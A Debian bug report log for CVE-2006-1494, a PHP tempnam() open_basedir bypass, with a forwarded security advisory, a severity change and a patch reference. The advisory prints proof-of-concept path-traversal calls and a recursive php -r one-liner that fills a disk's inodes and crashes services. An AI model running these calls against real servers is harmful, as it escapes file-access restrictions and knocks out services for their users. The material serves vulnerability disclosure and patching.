[CVE-2006-1494] tempnam() open_basedir bypass

Debian Bug report logs - #361855
[CVE-2006-1494] tempnam() open_basedir bypass

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Message #5 received at submit@bugs.debian.org (full text, mbox, reply):

From: Oliver Paulus <oliver@code-project.org>

To: submit@bugs.debian.org

Subject: tempnam() open_basedir bypass PHP 4.4.2 and 5.1.2

Date: Mon, 10 Apr 2006 23:16:11 +0200

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Package: php4
Version: 4:4.3.10-16
Severity: grave

for more informaton see:
http://securityreason.com/achievement_securityalert/36

-- 
Oliver Paulus

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Message #12 received at 361855@bugs.debian.org (full text, mbox, reply):

From: Ondrej Sury <ondrej@sury.org>

To: 361855@bugs.debian.org

Subject: Re: [php-maint] Bug#361855: tempnam() open_basedir bypass PHP 4.4.2 and 5.1.2

Date: Tue, 11 Apr 2006 09:59:44 +0200

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Hash: SHA1

[tempnam() open_basedir bypass PHP 4.4.2 and 5.1.2]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 26.3.2006
- -Public: 8.4.2006
from SECURITYREASON.COM
CVE-2006-1494

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is
borrowed from C, Java and
Perl with a couple of unique PHP-specific features thrown in. The goal
of the language is to
allow web developers to write dynamically generated pages quickly.

A nice introduction to PHP by Stig Sæther Bakken can be found at
http://www.zend.com/zend/art/intro.php on the Zend website. Also, much
of the PHP Conference
Material is freely available. 
tempnam -- Create file with unique file name

- --- 1. tempnam() open_basedir bypass ---
In function tempname() are required 2 arg`s.

http://pl.php.net/manual/en/function.tempnam.php

string tempnam ( string dir, string prefix )

So, if we have open_basedir set to /home, we can't create file
over /home directory.
In ext/standard/file.c (PHP 4.4.2)

- -550-578---
PHP_FUNCTION(tempnam)
{
pval **arg1, **arg2;
char *d;
char *opened_path;
char p[64];
FILE *fp;

if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &arg1, &arg2) ==
FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_string_ex(arg1);
convert_to_string_ex(arg2);

if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) {
RETURN_FALSE;
}

d = estrndup(Z_STRVAL_PP(arg1), Z_STRLEN_PP(arg1));
strlcpy(p, Z_STRVAL_PP(arg2), sizeof(p));

if ((fp = php_open_temporary_file(d, p, &opened_path TSRMLS_CC))) {
fclose(fp);
RETVAL_STRING(opened_path, 0);
} else {
RETVAL_FALSE;
}
efree(d);
}
- -550-578---

if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) {
RETURN_FALSE;
}

Where is arg2?
So we can write exploit like:
tempnam("path_from_open_basedir",
"../../../../../../../../Open_basedir_bypasswd");

tempnam("/home", "../../../../../../tmp/cx");

etc.

It is low issue but you can try create a lot of files and overload
inodes from HD.I have one
particion.

/var /dev/ad0s1e 1.0G 97M 858M 10% /var <- Space (B)
/dev/ad0s1e 1012974 94472 837466 10% 3796 137514 3% /var <- INODES

where mysql and apache try create some file. WWhen we overload free
inodes, system have big
problem with apache, mysql.

Example:

cxib# php -r 'function cx(){ tempnam("/www/",
"../../../../../../var/tmp/cx"); cx(); } cx();'
/var: create/symlink failed, no inodes free

/var: create/symlink failed, no inodes free

/var: create/symlink failed, no inodes free

/var: create/symlink failed, no inodes free
... etc

/usr/local/libexec/mysqld: Can't create/write to file
'/var/tmp/ibBIsZ6o' (Errcode: 13)
And mysql die()!

- --- 2. How to fix ---
CVS
http://cvs.php.net/viewcvs.cgi/php-src/NEWS

- --- 3. Greets ---

For: sp3x
and
p_e_a, pi3, eax, Infospec ;]

- --- 4. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com

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-- 
Ondrej Sury <ondrej@sury.org>

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Message #23 received at 361855-done@bugs.debian.org (full text, mbox, reply):

From: Steve Langasek <vorlon@debian.org>

To: Oliver Paulus <oliver@code-project.org>, 361854-done@bugs.debian.org, 361855-done@bugs.debian.org, 361856-done@bugs.debian.org, 361853-done@bugs.debian.org

Subject: Re: Bug#361854: function *() php/apache Crash PHP 4.4.2 and 5.1.2

Date: Mon, 10 Apr 2006 22:01:02 -0700

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Version: 4:4.4.2-1
severity 361854 important
severity 361855 important
severity 361856 important
thanks

On Mon, Apr 10, 2006 at 11:14:43PM +0200, Oliver Paulus wrote:
> for more informaton see:
> http://securityreason.com/achievement_securityalert/34

On Mon, Apr 10, 2006 at 11:14:43PM +0200, Oliver Paulus wrote:
> for more informaton see:
> http://securityreason.com/achievement_securityalert/35

On Mon, Apr 10, 2006 at 11:16:11PM +0200, Oliver Paulus wrote:
> for more informaton see:
> http://securityreason.com/achievement_securityalert/36

On Mon, Apr 10, 2006 at 11:17:52PM +0200, Oliver Paulus wrote:

> for more informaton see:
> http://securityreason.com/achievement_securityalert/37

It is my understanding that all of these bugs are fixed in the etch version
of php4; I'm accordingly marking them as closed.

In addition, except for the cross-site scripting bug, none of these appear
to warrant severity: grave.

-- 
Steve Langasek                   Give me a lever long enough and a Free OS
Debian Developer                   to set it on, and I can move the world.
vorlon@debian.org                                   http://www.debian.org/

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Message #38 received at 361855@bugs.debian.org (full text, mbox, reply):

From: Allard Hoeve <allard@byte.nl>

To: 361855@bugs.debian.org, control@bugs.debian.org

Subject: patch

Date: Wed, 12 Apr 2006 10:47:02 +0200 (CEST)

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tags patch
thanks

The patch from CVS (adapted to fit 4:4.3.10-16) is attached.

CVS commit:
http://cvs.php.net/viewcvs.cgi/php-src/ext/standard/file.c?r1=1.279.2.70.2.4&r2=1.279.2.70.2.6&pathrev=PHP_4_4

Regards,

Allard

[tempnam.patch (text/plain, attachment)]

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